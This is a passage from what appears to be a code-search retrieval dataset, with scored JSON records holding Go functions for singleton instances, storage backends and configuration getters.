"ce25d1b1106c6a9ad825855e442f1dcb", "score": "0.6077702", "text": "func getInstance(ctx context.Context) *models.Instance {\n\tobj := ctx.Value(instanceKey)\n\tif obj == nil {\n\t\treturn nil\n\t}\n\treturn obj.(*models.Instance)\n}", "title": "" }, { "docid": "34026e9f0bac6436edab0e143aef7bd1", "score": "0.59708434", "text": "func SetInstance(s Storage) { once.Do(func() { instance = s }) }", "title": "" }, { "docid": "d792229454ac45941b3474ff43c1c2de", "score": "0.56880635", "text": "func (l loader) New(ctx context.Context, url *backend.URL) (backend.Storage, error) {\n\tbe, err := New(url.Path)\n\tout.Debug(ctx, \"Using Storage Backend: %s\", be.String())\n\treturn be, err\n}", "title": "" }, { "docid": "98735bbff2a7830a59b87ea078775dc2", "score": "0.56618935", "text": "func GetStorageProcessor(format FileFormat) *Processor {\n\tonce.Do(func() {\n\t\tfileRotator := &FileRotator{}\n\t\tfileRotator.addPolicy(&CountBasedRotator{maxCount: 100})\n\t\tfileRotator.addPolicy(&VolumeBasedRotator{maxSize: 10 * 1024})\n\t\tfileRotator.addPolicy(&TimeBasedRotator{intervalInMillis: 30 * 1000})\n\t\tinstance = &Processor{\n\t\t\treceiver: make(chan []item),\n\t\t\tsender: make(chan []item),\n\t\t\tdone: make(chan bool),\n\t\t\tfileRotator: fileRotator,\n\t\t\ttmpFile: &TempFile{path: TEMP_BASE_PATH, format: format},\n\t\t\tpersistentFile: &PersistentFile{\n\t\t\t\tpath: LOCAL_BASE_PATH,\n\t\t\t\tparser: newFileNameParser(),\n\t\t\t\tparseContext: &parseContext{nodeIdSuffix: \"ga\", vpnId: \"sgw4\", maxSequence: 9999},\n\t\t\t},\n\t\t}\n\t\tgo instance.listener()\n\t})\n\treturn instance\n}", "title": "" }, { "docid": "ce14b2631f71621ac0c91e0553ab9a2f", "score": "0.5588748", "text": "func GetStorage(config *config.Config) (Storage, error) {\n\tif Store != nil {\n\t\treturn Store, nil\n\t}\n\n\tswitch config.StorageType {\n\tcase memory.Name:\n\t\tstore := memory.NewInMemoryState(config.StorageConfig)\n\t\tStore = store\n\t\treturn store, nil\n\tdefault:\n\t\treturn nil, fmt.Errorf(\"%s is a valid storage type\", config.StorageType)\n\t}\n}", "title": "" }, { "docid": "086ff5990b0530610ee52745c3aad382", "score": "0.54870194", "text": "func GetInstance() *Recovery {\n\treturn single\n}", "title": "" }, { "docid": "7bdf47647a7dd655d25db23cb6b55083", "score": "0.5486966", "text": "func getInstance(path string) (*VWOInstance, error) {\n\tsettingsFileManager := service.SettingsFileManager{}\n\tif err := settingsFileManager.ProcessSettingsFile(path); err != nil {\n\t\tlog.Println(\"Error Processing Settings File: \", err)\n\t}\n\tsettingsFileManager.Process()\n\tsettingsFile := settingsFileManager.GetSettingsFile()\n\n\tvar vwo VWOInstance\n\tvwo.SettingsFile = settingsFile\n\n\treturn vwo.Init(WithDevelopmentMode())\n}", "title": "" }, { "docid": "838873a9d95b99ccb7710acf625c4354", "score": "0.544217", "text": "func GetStorage() *StorageConfig {\n\treturn &Get().Storage\n}", "title": "" }, { "docid": "8665c72281ec6392b647ecf5af247930", "score": "0.54415065", "text": "func Instance() serving.Serving {\n\treturn instance\n}", "title": "" }, { "docid": "d8b41d7b361583713cc6655f2772aa57", "score": "0.54277647", "text": "func (m *Manager) GetStorage() Storage {\n\treturn m.storage\n}", "title": "" }, { "docid": "4bc8b6f7faa5cb7323ea39fe95e6fa93", "score": "0.54130805", "text": "func GetStorage() vsec.UserStorage {\n\treturn storage\n}", "title": "" }, { "docid": "490e2ce5b154237c4625bf04470fb1ab", "score": "0.5403139", "text": "func (do *DigitalOcean) GetStorage() Storage {\n\treturn do.Storage\n}", "title": "" }, { "docid": "c5d535fb81a51fa330dda876780477e7", "score": "0.539098", "text": "func (do *DigitalOcean) GetStorage() lepton.Storage {\n\treturn do.Storage\n}", "title": "" }, { "docid": "3b901cb3b221688db48cff1e681d471b", "score": "0.5374996", "text": "func (c *Controller) Get(key interface{}) interface{} {\n\tc.instance.StorageMu.RLock()\n\tdefer c.instance.StorageMu.RUnlock()\n\treturn c.instance.Storage[key]\n}", "title": "" }, { "docid": "51a22d2922564d5d0ecd7d13cb4a80f7", "score": "0.53673893", "text": "func Instance(backend *backend.Backend) manager.Manager {\n\tsm := new(SManager)\n\tsm.backend = backend\n\tgeneral := new(manager.CachingManager)\n\tgeneral.Initalize(sm)\n\treturn general\n}", "title": "" }, { "docid": "ec6964db2e9a762e4fc02e60f7b01c5a", "score": "0.5358633", "text": "func Instance() sdk.ArtifactsStore {\n\treturn instance\n}", "title": "" }, { "docid": "cfc3b128e3728a284fb2eca3143f1a8e", "score": "0.5358337", "text": "func New(cfg *config.Config) *Storage {\n\ts := &Storage{\n\t\tcache: make(map[string]service.Cache),\n\t}\n\tlog.Info(\"Storage subsystem has been initialized\")\n\treturn s\n}", "title": "" }, { "docid": "67540f1ff7f522606e1a312b67e670c0", "score": "0.5327678", "text": "func getStorage() storage.Storage {\n\tdisk := storage.NewDiskStorage(storagePath, internalLogger.Instance().WithFields(logger.Fields{\"area\": \"disk\"}))\n\n\t// return early when no s3 credentials are set\n\tif storageBucket == \"\" || storageAccessKey == \"\" || storageSecretKey == \"\" {\n\t\treturn disk\n\t}\n\n\tminioClient, err := client.NewMinioClient(storageEndpoint, storageAccessKey, storageSecretKey)\n\tif err != nil {\n\t\tinternalLogger.Instance().Fatalf(err.Error())\n\t}\n\treturn storage.NewObjectStorage(minioClient, storageBucket, disk)\n}", "title": "" }, { "docid": "3bb740484e7e62eba7462ec8a2379777", "score": "0.5319436", "text": "func (g *GameManager) Storage() StorageManager {\n\treturn g.storage\n}", "title": "" }, { "docid": "4bf5ddd467b014821ba545fc6fd1fee2", "score": "0.53002584", "text": "func NewStorage(\n\tbase billy.Filesystem,\n\tpath string,\n\ttmp billy.Filesystem,\n\ttransaction bool,\n\tcache cache.Object,\n) (*Storage, error) {\n\trootDir, err := butil.TempDir(tmp, \"/\", \"go-borges\")\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\tcleanup := func() {\n\t\tbutil.RemoveAll(tmp, rootDir)\n\t}\n\n\trootFS, err := tmp.Chroot(rootDir)\n\tif err != nil {\n\t\tcleanup()\n\t\treturn nil, err\n\t}\n\n\tbaseFS, err := getSivaFS(base, path, rootFS, baseSivaName)\n\tif err != nil {\n\t\tcleanup()\n\t\treturn nil, err\n\t}\n\n\tvar baseStorage storage.Storer = filesystem.NewStorage(baseFS, cache)\n\trefIter, err := baseStorage.IterReferences()\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\trefSto, err := NewRefStorage(refIter)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\tif !transaction {\n\t\treturn &Storage{\n\t\t\tStorer: baseStorage,\n\t\t\tReferenceStorage: refSto,\n\t\t\tbase: base,\n\t\t\tpath: path,\n\t\t\tbaseFS: baseFS,\n\t\t\ttmp: tmp,\n\t\t\ttmpDir: rootDir,\n\t\t\ttransactional: false,\n\t\t}, nil\n\t}\n\n\ttransactionFS, err := getSivaFS(\n\t\trootFS, transactionName,\n\t\trootFS, transactionName,\n\t)\n\n\tif err != nil {\n\t\tcleanup()\n\t\treturn nil, err\n\t}\n\ttransactionStorage := filesystem.NewStorage(transactionFS, cache)\n\n\tvar sto storage.Storer\n\tsto = transactional.NewStorage(baseStorage, transactionStorage)\n\n\treturn &Storage{\n\t\tStorer: sto,\n\t\tReferenceStorage: refSto,\n\t\tbase: base,\n\t\tpath: path,\n\t\tbaseFS: baseFS,\n\t\ttransFS: transactionFS,\n\t\ttmp: tmp,\n\t\ttmpDir: rootDir,\n\t\ttransactional: true,\n\t}, nil\n}", "title": "" }, { "docid": "d20657fb132cd2876dbb36bd624b9e4c", "score": "0.5297415", "text": "func GetInstance() *Single {\n\tif singleInstance == nil {\n\t\tlog.Panic(\"singleInstance is not initialized.\")\n\t}\n\n\tlog.Println(\"singleInstance already created.\")\n\treturn singleInstance\n}", "title": "" }, { "docid": "803a88589dd8fe76ba546586db7a6c82", "score": "0.528916", "text": "func (w *unitOfWork) Instance() saga.Instance {\n\treturn w.instance\n}", "title": "" }, { "docid": "68c7fc750db2274090cfb1c09927aaba", "score": "0.5279848", "text": "func (s *storageMap) NewStorage(addr address.Address, actor *actor.Actor) Storage {\n\tstorage, ok := s.storageMap[addr]\n\tif ok {\n\t\t// Return a hybrid storage with the pre-existing chunks, but the given instance of the actor.\n\t\t// This ensures changes made to the actor appear in the state tree cache.\n\t\tstorage = Storage{\n\t\t\tactor: actor,\n\t\t\tchunks: storage.chunks,\n\t\t\tblockstore: s.blockstore,\n\t\t}\n\t} else {\n\t\tstorage = NewStorage(s.blockstore, actor)\n\t}\n\n\ts.storageMap[addr] = storage\n\n\treturn storage\n}", "title": "" }, { "docid": "f3320b05c9809532fd4deedec1d3529b", "score": "0.52755874", "text": "func New() *Storage {\n\treturn &Storage{\n\t\tstat: &statApp{},\n\t}\n}", "title": "" }, { "docid": "0dbcf032cf7b3cbecf971846673ec256", "score": "0.52736926", "text": "func GetInstance() *Database {\n\tonce.Do(func() {\n\t\tinstance = &Database{\n\t\t\tstorageDict: make(map[string]*model.Storage),\n\t\t\tpropertyCache: make(map[string]*model.Property),\n\t\t\tpropertyHooks: make(map[string][]Hook),\n\t\t}\n\t})\n\treturn instance\n}", "title": "" }, { "docid": "e4bc1ccff16918d241655601221eb75c", "score": "0.52317435", "text": "func New() Dao {\n\tstorage := &InMemoryStorage{\n\t\tmetrics: make(Metrics),\n\t\tfilename: uuid.New().String(),\n\t}\n\tlogger.Printf(\"New storage instance was initialized with target filename '%s'\", storage.filename)\n\n\tticker := time.NewTicker(5 * time.Second)\n\tgo func() {\n\t\tfor {\n\t\t\tselect {\n\t\t\tcase <-ticker.C:\n\t\t\t\tstorage.flush()\n\t\t\t}\n\t\t}\n\t}()\n\n\treturn storage\n}", "title": "" }, { "docid": "9ec277cc6e9182e68cffbb1b473ad074", "score": "0.52163273", "text": "func GetStorage() (storage.BackendConnector, error) {\n\t// changing to mongo storage, memory seems buggy\n\tstorageType := envy.Get(\"ATHENS_STORAGE_TYPE\", \"mongo\")\n\tvar storageRoot string\n\tvar err error\n\n\tswitch storageType {\n\tcase \"memory\":\n\t\treturn mem.NewStorage()\n\tcase \"mongo\":\n\t\tstorageRoot, err = envy.MustGet(\"ATHENS_MONGO_STORAGE_URL\")\n\t\tif err != nil {\n\t\t\treturn nil, fmt.Errorf(\"missing mongo URL (%s)\", err)\n\t\t}\n\t\treturn mongo.NewStorage(storageRoot), nil\n\tcase \"disk\":\n\t\tstorageRoot, err = envy.MustGet(\"ATHENS_DISK_STORAGE_ROOT\")\n\t\tif err != nil {\n\t\t\treturn nil, fmt.Errorf(\"missing disk storage root (%s)\", err)\n\t\t}\n\t\ts, err := fs.NewStorage(storageRoot, afero.NewOsFs())\n\t\tif err != nil {\n\t\t\treturn nil, fmt.Errorf(\"could not create new storage from os fs (%s)\", err)\n\t\t}\n\t\treturn storage.NoOpBackendConnector(s), nil\n\tcase \"postgres\", \"sqlite\", \"cockroach\", \"mysql\":\n\t\tstorageRoot, err = envy.MustGet(\"ATHENS_RDBMS_STORAGE_NAME\")\n\t\tif err != nil {\n\t\t\treturn nil, fmt.Errorf(\"missing rdbms connectionName (%s)\", err)\n\t\t}\n\t\treturn rdbms.NewRDBMSStorage(storageRoot), nil\n\tcase \"minio\":\n\t\tendpoint, err := envy.MustGet(\"ATHENS_MINIO_ENDPOINT\")\n\t\tif err != nil {\n\t\t\treturn nil, fmt.Errorf(\"missing minio endpoint (%s)\", err)\n\t\t}\n\t\taccessKeyID, err := envy.MustGet(\"ATHENS_MINIO_ACCESS_KEY_ID\")\n\t\tif err != nil {\n\t\t\treturn nil, fmt.Errorf(\"missing minio access key ID (%s)\", err)\n\t\t}\n\t\tsecretAccessKey, err := envy.MustGet(\"ATHENS_MINIO_SECRET_ACCESS_KEY\")\n\t\tif err != nil {\n\t\t\treturn nil, fmt.Errorf(\"missing minio secret access key (%s)\", err)\n\t\t}\n\t\tbucketName := envy.Get(\"ATHENS_MINIO_BUCKET_NAME\", \"gomods\")\n\t\tuseSSL := true\n\t\tif useSSLVar := envy.Get(\"ATHENS_MINIO_USE_SSL\", \"yes\"); strings.ToLower(useSSLVar) == \"no\" {\n\t\t\tuseSSL = false\n\t\t}\n\t\ts, err := minio.NewStorage(endpoint, accessKeyID, secretAccessKey, bucketName, useSSL)\n\t\treturn storage.NoOpBackendConnector(s), err\n\tdefault:\n\t\treturn nil, fmt.Errorf(\"storage type %s is unknown\", storageType)\n\t}\n}", "title": "" }, { "docid": "90a92a9987fe8d69634eeea78dd72a03", "score": "0.5215135", "text": "func (f DefaultMirrorSTHFactory) NewStorage(logID [sha256.Size]byte) (MirrorSTHStorage, error) {\n\treturn DefaultMirrorSTHStorage{}, nil\n}", "title": "" }, { "docid": "bb813ca9358b5f803bd93285dfe33bca", "score": "0.5212181", "text": "func GetInstance() *singleton {\n\tif instance == nil {\n\t\tinstance = new(singleton) // or &singleton{} <-- Both are not thread safe\n\t}\n\treturn instance\n}", "title": "" }, { "docid": "75a3886ae58153931de25ccb3b2ff11a", "score": "0.51979935", "text": "func (v *IBM) GetStorage() lepton.Storage {\n\treturn v.Storage\n}", "title": "" }, { "docid": "1ddeba7b289abb4704a8c6fa485a5749", "score": "0.5193913", "text": "func GetInstance() *singleton {\n\tvar (\n\t\tmux sync.Mutex\n\t\ti int\n\t)\n\tmux.Lock()\n\tif instance == nil {\n\t\ti++\n\t\tinstance = new(singleton)\n\t\tprintln(\"GetInstance new instance\", i)\n\t}\n\tmux.Unlock()\n\treturn instance\n}", "title": "" }, { "docid": "899870b3c299e19af0331bc88970336d", "score": "0.5177306", "text": "func GetStorage() (*diskv.Diskv, error) {\n\tusr, err := user.Current()\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\tfolderpath := filepath.Join(usr.HomeDir, folder)\n\n\tflatTransform := func(s string) []string { return []string{} }\n\td := diskv.New(diskv.Options{\n\t\tBasePath: folderpath,\n\t\tTransform: flatTransform,\n\t\tCacheSizeMax: 1024 * 1024,\n\t})\n\treturn d, nil\n}", "title": "" }, { "docid": "64a1a36d1644020cbc30b2e9af7b5ea1", "score": "0.5169002", "text": "func (m *AttackSimulationInfo) GetBackingStore()(ie8677ce2c7e1b4c22e9c3827ecd078d41185424dd9eeb92b7d971ed2d49a392e.BackingStore) {\n return m.backingStore\n}", "title": "" }, { "docid": "eada49e36653c720ba1b29103cf05dc2", "score": "0.516602", "text": "func (s Wrapper) Storage() service.Storage {\n\treturn s.Service\n}", "title": "" }, { "docid": "12c96262c003ef0fbf07893633e15315", "score": "0.51652217", "text": "func New(logger InfoErrorer, filepath string) (storage *Storage, err error) {\n\t// error returned covered by unit test\n\tharcodedServers, _ := parseHardcodedServers()\n\n\tstorage = &Storage{\n\t\thardcodedServers: harcodedServers,\n\t\tlogger: logger,\n\t\tfilepath: filepath,\n\t}\n\n\tif err := storage.SyncServers(); err != nil {\n\t\treturn nil, err\n\t}\n\n\treturn storage, nil\n}", "title": "" }, { "docid": "5313651f946275af6faf482f4844f950", "score": "0.5155802", "text": "func Instance(c *gin.Context) *gorm.DB {\n\treturn c.MustGet(\"DB\").(*gorm.DB)\n}", "title": "" }, { "docid": "a63517228af59752cf2ec2f81f8da340", "score": "0.5133062", "text": "func Instance() *Handler {\n\tonce.Do(func() {\n\t\tinstanceHandler = newHandler()\n\t})\n\treturn instanceHandler\n}", "title": "" }, { "docid": "b0962a6dd6d98b22e51415bedd72b5b3", "score": "0.5118839", "text": "func Get() *singleton {\n\tonce.Do(func() {\n\t\tinstance = new(singleton)\n\t})\n\treturn instance\n}", "title": "" }, { "docid": "dd60bb1c940a27bb94a116c99c51ee67", "score": "0.5108604", "text": "func GetStorageService() {\n\tvar DB *gorm.DB = internal.ConnectDB()\n\tvar RDB *redis.Client = cache.NewRedisClient()\n\n\tstorageService = storage.NewUserStorageService(DB, RDB)\n}", "title": "" }, { "docid": "c0e2aec74ba30dd120dc6c998d65e39f", "score": "0.51049393", "text": "func getInstance() *bolt.DB {\n\n\tonce.Do(func() {\n\t\tinstance, _ = bolt.Open(getStatusSenderDB(), 0600, nil)\n\t})\n\n\treturn instance\n}", "title": "" }, { "docid": "2dfce2cfbf8f8429527c1d3943a0fb14", "score": "0.508327", "text": "func GetFactory() storage.Factory {\n\treturn instance\n}", "title": "" }, { "docid": "aab1df4b4b189952ecae11a707b359d8", "score": "0.50815225", "text": "func GetInstance() *common.Workspace {\n\tonce.Do(func() {\n\t\tRefresh()\n\t})\n\treturn instance\n}", "title": "" }, { "docid": "06e17af72d7408704706e5c4dcb07d21", "score": "0.5054182", "text": "func (r *ResStorageClass) Get() (runtime.Object, error) {\n\treturn r.getStorageClass()\n}", "title": "" }, { "docid": "a8449e0d40f9e7302ee1dfbd7929ff34", "score": "0.50531393", "text": "func (w Worker) Storage() storage.Storage { return w.storage }", "title": "" }, { "docid": "f97fcd8b2a7eacad237d93d48d47e5e5", "score": "0.50397944", "text": "func New(cfg Config) (*Storage, error) {\n\tlog.Info().Msg(\"Creating new storage\")\n\tdefer log.Info().Msg(fmt.Sprintf(\"New storage created. cfg: %v\", cfg))\n\n\tstorage := new(Storage)\n\tstorage.m.Students = make(map[int64]*Student)\n\n\tif cfg.Debug {\n\t\tgo func() {\n\t\t\ttime.Sleep(time.Second * 10)\n\t\t\tstorage.dbStats()\n\t\t}()\n\t}\n\n\treturn storage, nil\n}", "title": "" }, { "docid": "f1d03c1cd9bab032ebfe028485346c43", "score": "0.5029051", "text": "func GetBackupStorage() (BackupStorage, error) {\n\tbs, ok := BackupStorageMap[BackupStorageImplementation]\n\tif !ok {\n\t\treturn nil, fmt.Errorf(\"no registered implementation of BackupStorage\")\n\t}\n\treturn bs, nil\n}", "title": "" }, { "docid": "40d5b7b6a3270c572867fc918d74e508", "score": "0.5028013", "text": "func New(config json.RawMessage) (Storage, error) {\n\tvar storage Storage\n\terr := json.Unmarshal(config, &storage)\n\treturn storage, err\n}", "title": "" }, { "docid": "e2d7c4158b7757d268b9cdba3c31794f", "score": "0.5027452", "text": "func Storage() Driver {\n\treturn storage\n}", "title": "" }, { "docid": "79bd91c62d95d5c0f18ec86f652a148f", "score": "0.50179434", "text": "func (m *AttackSimulationUser) GetBackingStore()(ie8677ce2c7e1b4c22e9c3827ecd078d41185424dd9eeb92b7d971ed2d49a392e.BackingStore) {\n return m.backingStore\n}", "title": "" }, { "docid": "47f5a25dc7df6f11e33d48c78eaec203", "score": "0.5017803", "text": "func (k Keeper) GetStorage(ctx sdk.Context, path string) *types.Storage {\n\t//fmt.Printf(\"GetStorage(%s)\\n\", path);\n\tstore := ctx.KVStore(k.storeKey)\n\tdataStore := prefix.NewStore(store, types.DataPrefix)\n\tif !dataStore.Has([]byte(path)) {\n\t\treturn &types.Storage{\"\"}\n\t}\n\tbz := dataStore.Get([]byte(path))\n\tvar storage types.Storage\n\tk.cdc.MustUnmarshalBinaryLengthPrefixed(bz, &storage)\n\treturn &storage\n}", "title": "" }, { "docid": "785cc855f893f60bf31e3b3122274b0d", "score": "0.50115955", "text": "func getInstance() interface{} {\n\treturn &eccdefault.XchainCryptoClient{}\n}", "title": "" }, { "docid": "94a8e95d67eb500590d59c0903ed9fbe", "score": "0.5011092", "text": "func (g Getter) Get() Instance {\n\treturn g()\n}", "title": "" }, { "docid": "dc38c612f3e561845dc8ca83c77931c9", "score": "0.50033957", "text": "func getInstance() *Service {\n\n\treturn &Service{\n\t\tClient: redis.NewClient(&redis.Options{\n\t\t\tAddr: \"localhost:6379\",\n\t\t\tPassword: \"\", // no password set\n\t\t\tDB: 1, // use default DB\n\t\t}),\n\t}\n}", "title": "" }, { "docid": "e24c5fc3d5eb30f892478c02127f0b5a", "score": "0.4995488", "text": "func GetInstance(path ...string) *GoRef {\n\treturn instance.GetChild(path...)\n}", "title": "" }, { "docid": "270d3da26f923625e89122167b84fc93", "score": "0.4993697", "text": "func NewStorage(flavor, name string) Store {\n\tswitch flavor {\n\tcase CACHE:\n\t\treturn NewCache(name)\n\tcase CACHE_SAFE:\n\t\treturn NewCacheSafe(name)\n\tdefault:\n\t\tlog.Error(\"incorrect storage: \", flavor)\n\t}\n\treturn nil\n}", "title": "" }, { "docid": "8756064803de18f73d20d4f40c45c683", "score": "0.49926755", "text": "func (cfg *Configuration) Storage() templates.Client {\n\tif cfg.storage != nil {\n\t\treturn cfg.storage\n\t}\n\tcfg.storage = templates.NewStorage(cfg.Client(), controllers.KetchNamespace)\n\treturn cfg.storage\n}", "title": "" }, { "docid": "0a67a65be1ddc0ed5d2e95e8e79516e9", "score": "0.4988757", "text": "func GetInstance(name string, cfg *model.Config) *Instance {\n\tif _, ok := instancesCache[name]; !ok {\n\t\tinstancesCache[name] = NewInstance(name, cfg)\n\t}\n\treturn instancesCache[name]\n}", "title": "" }, { "docid": "117fe2b24518ede2bcd8352e5c44055c", "score": "0.49878857", "text": "func (obj *wallet) Storage() storages.Storage {\n\treturn obj.storage\n}", "title": "" }, { "docid": "9cc6f346bc5e6ee494b7d9217c427609", "score": "0.49768674", "text": "func GetInstance() *ScoringImpl {\n\treturn scoringIns\n}", "title": "" }, { "docid": "10714cff7616f925d4d2d4ce1ebbb4e1", "score": "0.49730062", "text": "func New(config Config) (*Storage, error) {\n\tstorage := &Storage{\n\t\tdata: map[string]string{},\n\t\tmutex: sync.Mutex{},\n\t}\n\n\treturn storage, nil\n}", "title": "" }, { "docid": "0b54e8bdfb0267a5c18764981890b004", "score": "0.49639544", "text": "func initStorage(storage Storage, ctx context.Context, processID string, logger *zap.Logger) error {\n\tif err := storage.Prepare(ctx, processID, logger); err != nil {\n\t\treturn err\n\t}\n\tif err := validator.New().Struct(storage); err != nil {\n\t\treturn fmt.Errorf(\"storage validation error: %v\", err)\n\t}\n\tif err := storage.Setup(); err != nil {\n\t\treturn fmt.Errorf(\"storage setup error: %v\", err)\n\t}\n\treturn nil\n}", "title": "" }, { "docid": "5c172552db8948a52fe4a91ead47e01b", "score": "0.49634758", "text": "func Singleton(options ...storage.Option) storage.Manager {\n\tif singleton != nil {\n\t\treturn singleton\n\t}\n\tsingleton = newManager(options...)\n\treturn singleton\n}", "title": "" }, { "docid": "f09867e6b87a37328d85617cf00b911e", "score": "0.49568456", "text": "func GetInstance() *CacheConfig {\r\n\tonce.Do(func() {\r\n\t\tcacheConfig = &CacheConfig{}\r\n\t})\r\n\treturn cacheConfig\r\n}", "title": "" }, { "docid": "61df0691b03d6345c3997843dc84b9c5", "score": "0.4944248", "text": "func (i *instance) Get() []byte {\n\treturn nil\n}", "title": "" }, { "docid": "9291ec15ef15a62ed373c92eda508ffc", "score": "0.49354044", "text": "func New(config *config.ConfYaml) *Storage {\n\treturn &Storage{\n\t\tconfig: config,\n\t}\n}", "title": "" }, { "docid": "b22aa7a25edabc2e436bc3181f0d76f5", "score": "0.49245343", "text": "func newStorage(opts StorageOptions) (storage, error) {\n\tswitch opts.Engine {\n\tcase BoltEngine:\n\t\treturn newBoltStorage(opts)\n\tdefault:\n\t\treturn nil, errors.New(\"invalid engine type\")\n\t}\n}", "title": "" }, { "docid": "276db4d144550eb7f1da041af3d18688", "score": "0.4922545", "text": "func newStorage(bucket *oss.Bucket) *Storage {\n\tc := &Storage{\n\t\tbucket: bucket,\n\t}\n\treturn c\n}", "title": "" }, { "docid": "64e54d0a1bac0676198e0fe59587ffdb", "score": "0.49176353", "text": "func (g *TPUCP) Instance() (*TPUInstance, error) {\n\tinstance, _, err := g.OptionallyRetrieveInstance(true)\n\treturn instance, err\n}", "title": "" }, { "docid": "c3d596bf7a624ee855ec78be22ae98d4", "score": "0.49176043", "text": "func (r *MigPlan) GetStorage(client k8sclient.Client) (*MigStorage, error) {\n\treturn GetStorage(client, r.Spec.MigStorageRef)\n}", "title": "" }, { "docid": "d0954993d0d63f65dc177f9a25931888", "score": "0.4914829", "text": "func (m *AttackSimulationTrainingUserCoverage) GetAttackSimulationUser()(AttackSimulationUserable) {\n val, err := m.GetBackingStore().Get(\"attackSimulationUser\")\n if err != nil {\n panic(err)\n }\n if val != nil {\n return val.(AttackSimulationUserable)\n }\n return nil\n}", "title": "" }, { "docid": "bed0530aa57b2d25a27c2e805d0b11a4", "score": "0.48978907", "text": "func NewStorage(addr, auth, debug string) Storage {\n\tvar s Storage\n\tvar err error\n\n\tif debug == \"true\" {\n\t\ts = NewMemoryStorage(addr, auth)\n\t\tlog.Info(\"use `in memory` storage\")\n\t} else {\n\t\ts, err = NewRedisStorage(addr, auth)\n\n\t\tif err != nil {\n\t\t\tlog.WithError(err).Fatal(\"redis\")\n\t\t}\n\n\t\tlog.Info(\"use redis storage\")\n\t}\n\n\treturn s\n}", "title": "" }, { "docid": "9374c596e7f89f0622412226de4fddf9", "score": "0.48952246", "text": "func LoadStorage() *Storage {\n\tf := getStorageFile()\n\tdefer f.Close()\n\tb, err := ioutil.ReadAll(f)\n\tif err != nil {\n\t\tlog.Fatal(err)\n\t}\n\tvar storage Storage\n\terr = json.Unmarshal(b, &storage)\n\tif err != nil || len(b) == 0 {\n\t\treturn &Storage{make(map[int64]client.Match)}\n\t}\n\treturn &storage\n}", "title": "" }, { "docid": "d863621d3ee3349ca079c2ac6c86a221", "score": "0.48913923", "text": "func GetSingleInstance(confs ...*settings.AppSettings) *Gateway {\n\tdoOnce.Do(func() {\n\t\tif len(confs) == 0 {\n\t\t\tlogging.ErrorAndPanic(\"No settings supplied to Gateway start-up\")\n\t\t}\n\t\tif len(confs) != 1 {\n\t\t\tlogging.ErrorAndPanic(\"More than one sets of settings supplied to Gateway start-up\")\n\t\t}\n\t\tconf := confs[0]\n\n\t\tgatewayPrivateKey, err := fcrcrypto.DecodePrivateKey(conf.GatewayPrivKey)\n\t\tif err != nil {\n\t\t\tlogging.ErrorAndPanic(\"Error decoding Gateway Private Key: %s\", err)\n\t\t}\n\t\tgatewayID, err := nodeid.NewNodeIDFromString(conf.GatewayID)\n\t\tif err != nil {\n\t\t\tlogging.ErrorAndPanic(\"Error decoding node id: %s\", err)\n\t\t}\n\n\t\tgatewayPrivateKeyVersion := fcrcrypto.DecodeKeyVersion(conf.GatewayPrivKeyVersion)\n\n\t\tinstance = &Gateway{\n\t\t\tProtocolVersion: protocolVersion,\n\t\t\tProtocolSupported: []int32{protocolVersion, protocolSupported},\n\t\t\tGatewayAddressMap: make(map[string](string)),\n\t\t\tGatewayAddressMapLock: sync.RWMutex{},\n\t\t\tProviderAddressMap: make(map[string](string)),\n\t\t\tProviderAddressMapLock: sync.RWMutex{},\n\t\t\tActiveGateways: make(map[string](*CommunicationChannel)),\n\t\t\tActiveGatewaysLock: sync.RWMutex{},\n\t\t\tActiveProviders: make(map[string](*CommunicationChannel)),\n\t\t\tActiveProvidersLock: sync.RWMutex{},\n\t\t\tGatewayClient: &clients.GatewayClientInteraction{},\n\t\t\tGatewayPrivateKey: gatewayPrivateKey,\n\t\t\tGatewayPrivateKeyVersion: gatewayPrivateKeyVersion,\n\t\t\tGatewayID: gatewayID,\n\t\t\tOffers: offers.GetSingleInstance(),\n\t\t\tRegistrationBlockHash: \"TODO\",\n\t\t}\n\t})\n\treturn instance\n}", "title": "" }, { "docid": "10dda84321ac734316616c60efa62d87", "score": "0.48883227", "text": "func NewStorage() *RequestStorage {\n\treturn &RequestStorage{}\n}", "title": "" }, { "docid": "cab31746564f510e33e067d91af9697a", "score": "0.48874024", "text": "func ShipperManagerInstance() (*ShipperManager) {\n if shipperManager != nil {\n return shipperManager\n } else {\n // Get our database connection.\n dao := database.Instance()\n shipperManager = &ShipperManager{dao}\n return shipperManager\n }\n}", "title": "" }, { "docid": "b3fdfa8054ed0349973f018c7c44e750", "score": "0.4879832", "text": "func Storage(adapter storage.Storer) gin.HandlerFunc {\n\treturn func(ctx *gin.Context) {\n\n\t\tctx.Set(\"storage\", adapter)\n\n\t\tctx.Next()\n\t}\n}", "title": "" }, { "docid": "1500811e7c315f09ddf66946c40c17cc", "score": "0.48783624", "text": "func New(opts *Options) (Storage, error) {\n\treturn &dummyStorage{\n\t\topts: opts,\n\t}, nil\n}", "title": "" }, { "docid": "19176c8837510d2012042823b87fe18c", "score": "0.4874853", "text": "func (pdcfg *pdConfig) GetStorageConfig() *StorageConfig {\n\tsc := new(StorageConfig)\n\tsc.AccessMethod = pdcfg.AccessMethod\n\tif params, found := pdcfg.Storage[pdcfg.AccessMethod]; found {\n\t\tsc.Params = params\n\t} else {\n\t\tsc.Params = make(map[string]string)\n\t}\n\treturn sc\n}", "title": "" }, { "docid": "518da5ff59761bbd6e66c903cadb1018", "score": "0.48723364", "text": "func (scope *Scope) InstanceGet(name string) (interface{}, bool) {\n\treturn scope.Get(name + scope.InstanceID())\n}", "title": "" }, { "docid": "c0cd3da392604d552963bad138814501", "score": "0.4869153", "text": "func (db *EntityDB) Instance(template Entity) Entity {\n eid := db.nextid\n db.nextid++\n\n for _, manager := range db.managers { manager.Clone(template, eid) }\n return eid\n}", "title": "" }, { "docid": "3c260ef8af2db0f8b2a88ecd1b07f753", "score": "0.486522", "text": "func (receiver *Base) GetSingle(model extension.Model, db *gorm.DB, parameters gin.Params, urlValues url.Values, queryFields string) (interface{}, error) {\n\tpreloadString := urlValues.Get(\"preloads\")\n\n\tresourceName, err := model.GetResourceName(model)\n\tif err != nil {\n\t\tlogging.Logger().Debug(err.Error())\n\t\treturn nil, err\n\t}\n\n\tresult, err := extension.CreateOutputContainerByResourceName(resourceName, preloadString)\n\tif err != nil {\n\t\tlogging.Logger().Debug(err.Error())\n\t\treturn nil, err\n\t}\n\n\tmodelKey, err := model.GetModelKey(model, 